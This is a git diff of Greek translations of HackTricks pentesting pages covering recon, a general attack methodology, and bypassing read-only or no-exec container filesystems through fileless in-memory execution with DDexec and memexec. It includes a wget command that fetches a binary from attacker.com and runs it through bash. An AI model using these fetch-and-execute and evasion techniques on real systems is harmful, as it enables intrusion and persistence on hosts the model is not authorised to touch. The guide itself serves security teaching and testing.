Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις εκτελέσετε όλες**.
|
||||
|
||||
_Σημειώστε ότι τα εργαλεία που αναμένουν να εκτελέσουν όλη τη βάση δεδομένων χρησιμοποιώντας τον κανονικό περιηγητή Google δεν θα τελειώσουν ποτέ καθώς η Google θα σας μπλοκάρει πολύ πολύ σύντομα._
|
||||
|
||||
|
@ -622,16 +622,16 @@ _Σημειώστε ότι τα εργαλεία που αναμένουν να
|
|||
|
||||
## Ανακεφαλαίωση
|
||||
|
||||
> Συγχαρητήρια! Σε αυτό το σημείο έχετε ήδη εκτελέσει **όλη την βασική καταμέτρηση**. Ναι, είναι βασικό γιατί μπορεί να γίνει πολύ περισσότερη καταμέτρηση (θα δούμε περισσότερα κόλπα αργότερα).
|
||||
> Συγχαρητήρια! Σε αυτό το σημείο έχετε ήδη εκτελέσει **όλη την βασική καταμέτρηση**. Ναι, είναι βασική γιατί μπορεί να γίνει πολύ περισσότερη καταμέτρηση (θα δούμε περισσότερα κόλπα αργότερα).
|
||||
|
||||
Έτσι έχετε ήδη:
|
||||
|
||||
1. Βρει όλους τους **τομείς** μέσα στο πεδίο
|
||||
2. Βρει όλα τα **περιουσιακά στοιχεία** που ανήκουν στις εταιρείες (και εκτελέσει κάποια σάρωση ευπαθειών αν είναι στο πεδίο)
|
||||
3. Βρει όλους τους **τομείς** που ανήκουν στις εταιρείες
|
||||
4. Βρει όλους τους **υποτομείς** των τομέων (κάποια υποτομέας takeover;)
|
||||
4. Βρει όλους τους **υποτομείς** των τομέων (κάποια ανάληψη υποτομέα;)
|
||||
5. Βρει όλες τις **IP** (από και **όχι από CDNs**) μέσα στο πεδίο.
|
||||
6. Βρει όλους τους **διακομιστές ιστού** και πήρε ένα **στιγμιότυπο** από αυτούς (κάτι περίεργο που αξίζει μια πιο βαθιά ματιά;)
|
||||
6. Βρει όλους τους **διακομιστές ιστού** και πήρε ένα **στιγμιότυπο** από αυτούς (κάτι παράξενο που αξίζει μια πιο βαθιά ματιά;)
|
||||
7. Βρει όλα τα **πιθανά δημόσια περιουσιακά στοιχεία cloud** που ανήκουν στην εταιρεία.
|
||||
8. **Emails**, **διαρροές διαπιστευτηρίων**, και **διαρροές μυστικών** που θα μπορούσαν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**.
|
||||
9. **Pentesting όλων των ιστότοπων που βρήκατε**
|
||||
|
@ -649,15 +649,15 @@ _Σημειώστε ότι τα εργαλεία που αναμένουν να
|
|||
|
||||
* Όλα τα δωρεάν μαθήματα του [**@Jhaddix**](https://twitter.com/Jhaddix) όπως [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη πολωνική γραπτή και προφορική_).
|
||||
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάρακτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη πολωνική γραπτή και προφορική_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάρακτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_).
|
||||
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -29,11 +29,11 @@ _Τα λογότυπα Hacktricks σχεδιάστηκαν από_ [_@ppiernacho
|
|||
|
||||
### 0- Φυσικές Επιθέσεις
|
||||
|
||||
Έχετε **φυσική πρόσβαση** στη μηχανή που θέλετε να επιτεθείτε; Πρέπει να διαβάσετε μερικά [**κόλπα για φυσικές επιθέσεις**](../hardware-physical-access/physical-attacks.md) και άλλα σχετικά με [**διαφυγή από εφαρμογές GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||
Έχετε **φυσική πρόσβαση** στη μηχανή που θέλετε να επιτεθείτε; Πρέπει να διαβάσετε μερικά [**κόλπα σχετικά με φυσικές επιθέσεις**](../hardware-physical-access/physical-attacks.md) και άλλα σχετικά με [**διαφυγή από εφαρμογές GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||
|
||||
### 1 - [Ανακάλυψη hosts μέσα στο δίκτυο](pentesting-network/#discovering-hosts)/ [Ανακάλυψη περιουσιακών στοιχείων της εταιρείας](external-recon-methodology/)
|
||||
|
||||
**Ανάλογα** με το αν η **δοκιμή** που εκτελείτε είναι **εσωτερική ή εξωτερική δοκιμή**, μπορεί να σας ενδιαφέρει να βρείτε **hosts μέσα στο εταιρικό δίκτυο** (εσωτερική δοκιμή) ή **να βρείτε περιουσιακά στοιχεία της εταιρείας στο διαδίκτυο** (εξωτερική δοκιμή).
|
||||
**Ανάλογα** με το αν η **δοκιμή** που εκτελείτε είναι **εσωτερική ή εξωτερική**, μπορεί να σας ενδιαφέρει να βρείτε **hosts μέσα στο δίκτυο της εταιρείας** (εσωτερική δοκιμή) ή **να βρείτε περιουσιακά στοιχεία της εταιρείας στο διαδίκτυο** (εξωτερική δοκιμή).
|
||||
|
||||
{% hint style="info" %}
|
||||
Σημειώστε ότι αν εκτελείτε μια εξωτερική δοκιμή, μόλις καταφέρετε να αποκτήσετε πρόσβαση στο εσωτερικό δίκτυο της εταιρείας, θα πρέπει να επανεκκινήσετε αυτόν τον οδηγό.
|
||||
|
@ -50,7 +50,7 @@ _Τα λογότυπα Hacktricks σχεδιάστηκαν από_ [_@ppiernacho
|
|||
|
||||
### **4-** [Αναζητώντας εκμεταλλεύσεις εκδόσεων υπηρεσιών](search-exploits.md)
|
||||
|
||||
Μόλις γνωρίζετε ποιες υπηρεσίες εκτελούνται, και ίσως την έκδοσή τους, πρέπει να **αναζητήσετε γνωστές ευπάθειες**. Ίσως να έχετε τύχη και να υπάρχει μια εκμετάλλευση που να σας δώσει ένα shell...
|
||||
Μόλις γνωρίζετε ποιες υπηρεσίες εκτελούνται, και ίσως την έκδοσή τους, πρέπει να **αναζητήσετε γνωστές ευπάθειες**. Ίσως να έχετε τύχη και να υπάρχει μια εκμετάλλευση που να σας δίνει ένα shell...
|
||||
|
||||
### **5-** Υπηρεσίες Pentesting
|
||||
|
||||
|
@ -59,7 +59,7 @@ _Τα λογότυπα Hacktricks σχεδιάστηκαν από_ [_@ppiernacho
|
|||
**Μέσα σε αυτό το βιβλίο θα βρείτε έναν οδηγό για να κάνετε pentest στις πιο κοινές υπηρεσίες** (και άλλες που δεν είναι τόσο κοινές)**. Παρακαλώ, αναζητήστε στον αριστερό δείκτη την** _**ΕΝΟΤΗΤΑ PENTESTING**_ **(οι υπηρεσίες είναι ταξινομημένες κατά τις προεπιλεγμένες θύρες τους).**
|
||||
|
||||
**Θέλω να κάνω μια ειδική αναφορά στο** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **μέρος (καθώς είναι το πιο εκτενές).**\
|
||||
Επίσης, μπορείτε να βρείτε εδώ έναν μικρό οδηγό για το πώς να [**βρείτε γνωστές ευπάθειες σε λογισμικό**](search-exploits.md).
|
||||
Επίσης, ένας μικρός οδηγός για το πώς να [**βρείτε γνωστές ευπάθειες σε λογισμικό**](search-exploits.md) μπορεί να βρεθεί εδώ.
|
||||
|
||||
**Αν η υπηρεσία σας δεν είναι μέσα στον δείκτη, αναζητήστε στο Google** για άλλους οδηγούς και **ενημερώστε με αν θέλετε να την προσθέσω.** Αν **δεν μπορείτε να βρείτε τίποτα** στο Google, εκτελέστε το **δικό σας τυφλό pentesting**, μπορείτε να ξεκινήσετε με το **να συνδεθείτε στην υπηρεσία, να την fuzzing και να διαβάσετε τις απαντήσεις** (αν υπάρχουν).
|
||||
|
||||
|
@ -67,9 +67,9 @@ _Τα λογότυπα Hacktricks σχεδιάστηκαν από_ [_@ppiernacho
|
|||
|
||||
Υπάρχουν επίσης αρκετά εργαλεία που μπορούν να εκτελέσουν **αυτόματες αξιολογήσεις ευπαθειών**. **Σας προτείνω να δοκιμάσετε** [**Legion**](https://github.com/carlospolop/legion)**, το οποίο είναι το εργαλείο που έχω δημιουργήσει και βασίζεται στις σημειώσεις σχετικά με τις υπηρεσίες pentesting που μπορείτε να βρείτε σε αυτό το βιβλίο.**
|
||||
|
||||
#### **5.2 Επιθέσεις Brute-Force σε υπηρεσίες**
|
||||
#### **5.2 Επιθέσεις Brute-Force**
|
||||
|
||||
Σε ορισμένα σενάρια, μια **Brute-Force** μπορεί να είναι χρήσιμη για να **συμβιβάσετε** μια **υπηρεσία**. [**Βρείτε εδώ ένα CheatSheet για διαφορετικές υπηρεσίες brute forcing**](brute-force.md)**.**
|
||||
Σε ορισμένα σενάρια, μια **Brute-Force** μπορεί να είναι χρήσιμη για να **συμβιβάσετε** μια **υπηρεσία**. [**Βρείτε εδώ μια CheatSheet για διαφορετικές υπηρεσίες brute forcing**](brute-force.md)**.**
|
||||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
|
@ -91,37 +91,37 @@ _Τα λογότυπα Hacktricks σχεδιάστηκαν από_ [_@ppiernacho
|
|||
|
||||
### **9 -** [**Εξαγωγή**](exfiltration.md)
|
||||
|
||||
Πιθανώς θα χρειαστεί να **εξάγετε κάποια δεδομένα από το θύμα** ή ακόμα και **να εισάγετε κάτι** (όπως σενάρια ανύψωσης δικαιωμάτων). **Εδώ έχετε ένα** [**άρθρο για κοινά εργαλεία που μπορείτε να χρησιμοποιήσετε με αυτούς τους σκοπούς**](exfiltration.md)**.**
|
||||
Πιθανώς θα χρειαστεί να **εξάγετε κάποια δεδομένα από το θύμα** ή ακόμα και **να εισάγετε κάτι** (όπως σενάρια ανύψωσης προνομίων). **Εδώ έχετε ένα** [**άρθρο σχετικά με κοινά εργαλεία που μπορείτε να χρησιμοποιήσετε για αυτούς τους σκοπούς**](exfiltration.md)**.**
|
||||
|
||||
### **10- Ανύψωση Δικαιωμάτων**
|
||||
### **10- Ανύψωση Προνομίων**
|
||||
|
||||
#### **10.1- Τοπική Ανύψωση Δικαιωμάτων**
|
||||
#### **10.1- Τοπική Ανύψωση Προνομίων**
|
||||
|
||||
Αν δεν είστε **root/Διαχειριστής** μέσα στο σύστημα, θα πρέπει να βρείτε έναν τρόπο να **ανυψώσετε τα δικαιώματα.**\
|
||||
Εδώ μπορείτε να βρείτε έναν **οδηγό για να ανυψώσετε τα δικαιώματα τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Αν δεν είστε **root/Διαχειριστής** μέσα στο σύστημα, θα πρέπει να βρείτε έναν τρόπο να **ανυψώσετε τα προνόμια.**\
|
||||
Εδώ μπορείτε να βρείτε έναν **οδηγό για την ανύψωση προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Πρέπει επίσης να ελέγξετε αυτές τις σελίδες σχετικά με το πώς λειτουργεί το **Windows**:
|
||||
|
||||
* [**Αυθεντικοποίηση, Διαπιστευτήρια, Δικαιώματα Token και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* [**Αυθεντικοποίηση, Διαπιστευτήρια, Προνομία Token και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/)
|
||||
* Πώς να [**κλέψετε διαπιστευτήρια**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) στα Windows
|
||||
* Μερικά κόλπα σχετικά με [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Μην ξεχάσετε να ελέγξετε τα καλύτερα εργαλεία για να απαριθμήσετε τις τοπικές διαδρομές ανύψωσης δικαιωμάτων σε Windows και Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**Μην ξεχάσετε να ελέγξετε τα καλύτερα εργαλεία για να απαριθμήσετε τις τοπικές διαδρομές ανύψωσης προνομίων Windows και Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Ανύψωση Δικαιωμάτων Τομέα**
|
||||
#### **10.2- Ανύψωση Προνομίων Τομέα**
|
||||
|
||||
Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για να απαριθμήσετε, να ανυψώσετε δικαιώματα και να επιμείνετε σε ένα Active Directory**](../windows-hardening/active-directory-methodology/). Ακόμα και αν αυτή είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά λεπτή** σε μια αποστολή Pentesting/Red Team.
|
||||
Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για την απαρίθμηση, την ανύψωση προνομίων και την επιμονή σε ένα Active Directory**](../windows-hardening/active-directory-methodology/). Ακόμα και αν αυτή είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά λεπτή** σε μια αποστολή Pentesting/Red Team.
|
||||
|
||||
### 11 - POST
|
||||
|
||||
#### **11**.1 - Ληστεία
|
||||
|
||||
Ελέγξτε αν μπορείτε να βρείτε περισσότερους **κωδικούς πρόσβασης** μέσα στον host ή αν έχετε **πρόσβαση σε άλλες μηχανές** με τα **δικαιώματα** του **χρήστη** σας.\
|
||||
Ελέγξτε αν μπορείτε να βρείτε περισσότερους **κωδικούς πρόσβασης** μέσα στον host ή αν έχετε **πρόσβαση σε άλλες μηχανές** με τα **προνόμια** του **χρήστη** σας.\
|
||||
Βρείτε εδώ διάφορους τρόπους για να [**dump passwords στα Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
|
||||
#### 11.2 - Επιμονή
|
||||
|
||||
**Χρησιμοποιήστε 2 ή 3 διαφορετικούς τύπους μηχανισμών επιμονής ώστε να μην χρειαστεί να εκμεταλλευτείτε ξανά το σύστημα.**\
|
||||
**Χρησιμοποιήστε 2 ή 3 διαφορετικούς τύπους μηχανισμού επιμονής ώστε να μην χρειαστεί να εκμεταλλευτείτε ξανά το σύστημα.**\
|
||||
**Εδώ μπορείτε να βρείτε μερικά** [**κόλπα επιμονής στο active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
|
||||
TODO: Ολοκληρώστε την επιμονή Post σε Windows & Linux
|
||||
|
@ -130,7 +130,7 @@ TODO: Ολοκληρώστε την επιμονή Post σε Windows & Linux
|
|||
|
||||
Με τα **συγκεντρωμένα διαπιστευτήρια** θα μπορούσατε να έχετε πρόσβαση σε άλλες μηχανές, ή ίσως χρειαστεί να **ανακαλύψετε και να σαρώσετε νέους hosts** (ξεκινήστε ξανά τη Μεθοδολογία Pentesting) μέσα σε νέα δίκτυα όπου είναι συνδεδεμένο το θύμα σας.\
|
||||
Σε αυτή την περίπτωση, η σήραγγα μπορεί να είναι απαραίτητη. Εδώ μπορείτε να βρείτε [**ένα άρθρο που μιλάει για τη σήραγγα**](tunneling-and-port-forwarding.md).\
|
||||
Πρέπει επίσης να ελέγξετε το άρθρο σχετικά με τη [Μεθοδολογία pentesting Active Directory](../windows-hardening/active-directory-methodology/). Εκεί θα βρείτε ωραία κόλπα για να μετακινηθείτε οριζόντια, να ανυψώσετε δικαιώματα και να κάνετε dump διαπιστευτηρίων.\
|
||||
Πρέπει επίσης να ελέγξετε το άρθρο σχετικά με τη [Μεθοδολογία pentesting Active Directory](../windows-hardening/active-directory-methodology/). Εκεί θα βρείτε ωραία κόλπα για να μετακινηθείτε οριζόντια, να ανυψώσετε προνόμια και να κάνετε dump διαπιστευτηρίων.\
|
||||
Ελέγξτε επίσης τη σελίδα σχετικά με το [**NTLM**](../windows-hardening/ntlm/), μπορεί να είναι πολύ χρήσιμη για pivoting σε περιβάλλοντα Windows.
|
||||
|
||||
### ΠΕΡΙΣΣΟΤΕΡΑ
|
||||
|
@ -151,9 +151,9 @@ TODO: Ολοκληρώστε την επιμονή Post σε Windows & Linux
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάρακτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_).
|
||||
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Bypass FS protections: read-only / no-exec / Distroless
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,9 +15,9 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το μη χακαρισμένο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_).
|
||||
Αν σας ενδιαφέρει μια **καριέρα hacking** και να χακάρετε το μη χακαρισμένο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -45,17 +45,17 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Ωστόσο, ακόμα και αν το σύστημα αρχείων είναι τοποθετημένο ως ro, το **`/dev/shm`** θα είναι ακόμα εγγράψιμο, οπότε είναι ψευδές ότι δεν μπορούμε να γράψουμε τίποτα στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι **τοποθετημένος με προστασία no-exec**, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ **δεν θα μπορείτε να το εκτελέσετε**.
|
||||
Ωστόσο, ακόμα και αν το σύστημα αρχείων είναι τοποθετημένο ως ro, το **`/dev/shm`** θα είναι ακόμα εγ writable, οπότε είναι ψευδές ότι δεν μπορούμε να γράψουμε τίποτα στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι **τοποθετημένος με προστασία no-exec**, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ **δεν θα μπορείτε να το εκτελέσετε**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Από την προοπτική μιας κόκκινης ομάδας, αυτό καθιστά **πολύπλοκο το να κατεβάσετε και να εκτελέσετε** δυαδικά αρχεία που δεν είναι ήδη στο σύστημα (όπως backdoors ή enumerators όπως το `kubectl`).
|
||||
Από την προοπτική μιας κόκκινης ομάδας, αυτό καθιστά **περίπλοκο να κατεβάσετε και να εκτελέσετε** δυαδικά αρχεία που δεν είναι ήδη στο σύστημα (όπως backdoors ή enumerators όπως το `kubectl`).
|
||||
{% endhint %}
|
||||
|
||||
## Ευκολότερη παράκαμψη: Σενάρια
|
||||
|
||||
Σημειώστε ότι ανέφερα δυαδικά αρχεία, μπορείτε να **εκτελέσετε οποιοδήποτε σενάριο** εφόσον ο διερμηνέας είναι μέσα στη μηχανή, όπως ένα **shell script** αν το `sh` είναι παρόν ή ένα **python** **script** αν το `python` είναι εγκατεστημένο.
|
||||
Σημειώστε ότι ανέφερα δυαδικά αρχεία, μπορείτε να **εκτελέσετε οποιοδήποτε σενάριο** αρκεί ο διερμηνέας να είναι μέσα στη μηχανή, όπως ένα **shell script** αν το `sh` είναι παρόν ή ένα **python** **script** αν το `python` είναι εγκατεστημένο.
|
||||
|
||||
Ωστόσο, αυτό δεν είναι αρκετό για να εκτελέσετε το δυαδικό backdoor σας ή άλλα δυαδικά εργαλεία που μπορεί να χρειαστεί να εκτελέσετε.
|
||||
Ωστόσο, αυτό δεν είναι αρκετό για να εκτελέσετε την πίσω πόρτα σας ή άλλα εργαλεία δυαδικών αρχείων που μπορεί να χρειαστεί να εκτελέσετε.
|
||||
|
||||
## Παράκαμψη μνήμης
|
||||
|
||||
|
@ -63,24 +63,24 @@ securityContext:
|
|||
|
||||
### Παράκαμψη FD + exec syscall
|
||||
|
||||
Αν έχετε μερικούς ισχυρούς κινητήρες σεναρίων μέσα στη μηχανή, όπως **Python**, **Perl**, ή **Ruby**, μπορείτε να κατεβάσετε το δυαδικό αρχείο για να το εκτελέσετε από τη μνήμη, να το αποθηκεύσετε σε έναν περιγραφέα αρχείου μνήμης (`create_memfd` syscall), ο οποίος δεν θα προστατεύεται από αυτές τις προστασίες και στη συνέχεια να καλέσετε μια **`exec` syscall** υποδεικνύοντας τον **fd ως το αρχείο προς εκτέλεση**.
|
||||
Αν έχετε μερικούς ισχυρούς κινητήρες σεναρίων μέσα στη μηχανή, όπως **Python**, **Perl** ή **Ruby**, μπορείτε να κατεβάσετε το δυαδικό αρχείο για να το εκτελέσετε από τη μνήμη, να το αποθηκεύσετε σε έναν περιγραφέα αρχείου μνήμης (`create_memfd` syscall), ο οποίος δεν θα προστατεύεται από αυτές τις προστασίες και στη συνέχεια να καλέσετε μια **`exec` syscall** υποδεικνύοντας τον **fd ως το αρχείο προς εκτέλεση**.
|
||||
|
||||
Για αυτό μπορείτε εύκολα να χρησιμοποιήσετε το έργο [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Μπορείτε να του περάσετε ένα δυαδικό αρχείο και θα δημιουργήσει ένα σενάριο στη δηλωμένη γλώσσα με το **δυαδικό αρχείο συμπιεσμένο και b64 κωδικοποιημένο** με τις οδηγίες για **αποκωδικοποίηση και αποσυμπίεση** σε έναν **fd** που δημιουργείται καλώντας την `create_memfd` syscall και μια κλήση στην **exec** syscall για να το εκτελέσετε.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Αυτό δεν λειτουργεί σε άλλες γλώσσες σεναρίων όπως η PHP ή το Node γιατί δεν έχουν καμία **προεπιλεγμένη μέθοδο για να καλέσουν ωμές syscalls** από ένα σενάριο, οπότε δεν είναι δυνατό να καλέσετε την `create_memfd` για να δημιουργήσετε τον **περιγραφέα μνήμης** για να αποθηκεύσετε το δυαδικό αρχείο.
|
||||
Αυτό δεν λειτουργεί σε άλλες γλώσσες σεναρίων όπως το PHP ή το Node γιατί δεν έχουν καμία **προεπιλεγμένη μέθοδο για να καλέσουν ωμές syscalls** από ένα σενάριο, οπότε δεν είναι δυνατό να καλέσετε την `create_memfd` για να δημιουργήσετε τον **περιγραφέα μνήμης** για να αποθηκεύσετε το δυαδικό αρχείο.
|
||||
|
||||
Επιπλέον, η δημιουργία ενός **κανονικού fd** με ένα αρχείο στο `/dev/shm` δεν θα λειτουργήσει, καθώς δεν θα επιτρέπεται να το εκτελέσετε λόγω της **προστασίας no-exec**.
|
||||
Επιπλέον, η δημιουργία ενός **κανονικού fd** με ένα αρχείο στο `/dev/shm` δεν θα λειτουργήσει, καθώς δεν θα επιτρέπεται να το εκτελέσετε επειδή η **προστασία no-exec** θα ισχύει.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) είναι μια τεχνική που σας επιτρέπει να **τροποποιήσετε τη μνήμη της δικής σας διαδικασίας** αντικαθιστώντας την **`/proc/self/mem`**.
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) είναι μια τεχνική που σας επιτρέπει να **τροποποιήσετε τη μνήμη της δικής σας διαδικασίας** αντικαθιστώντας το **`/proc/self/mem`**.
|
||||
|
||||
Επομένως, **ελέγχοντας τον κώδικα συναρμολόγησης** που εκτελείται από τη διαδικασία, μπορείτε να γράψετε ένα **shellcode** και να "μεταλλάξετε" τη διαδικασία για να **εκτελέσετε οποιονδήποτε αυθαίρετο κώδικα**.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** θα σας επιτρέψει να φορτώσετε και να **εκτελέσετε** το δικό σας **shellcode** ή **οποιοδήποτε δυαδικό** από **μνήμη**.
|
||||
**DDexec / EverythingExec** θα σας επιτρέψει να φορτώσετε και να **εκτελέσετε** το δικό σας **shellcode** ή **οποιοδήποτε δυαδικό** από τη **μνήμη**.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
|
@ -96,11 +96,11 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
|
||||
[**Memexec**](https://github.com/arget13/memexec) είναι το φυσικό επόμενο βήμα του DDexec. Είναι ένα **DDexec shellcode demonised**, οπότε κάθε φορά που θέλετε να **τρέξετε ένα διαφορετικό δυαδικό αρχείο**, δεν χρειάζεται να επανεκκινήσετε το DDexec, μπορείτε απλά να τρέξετε το memexec shellcode μέσω της τεχνικής DDexec και στη συνέχεια να **επικοινωνήσετε με αυτόν τον δαίμονα για να περάσετε νέα δυαδικά αρχεία για φόρτωση και εκτέλεση**.
|
||||
|
||||
Μπορείτε να βρείτε ένα παράδειγμα για το πώς να χρησιμοποιήσετε το **memexec για να εκτελέσετε δυαδικά αρχεία από ένα PHP reverse shell** στο [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
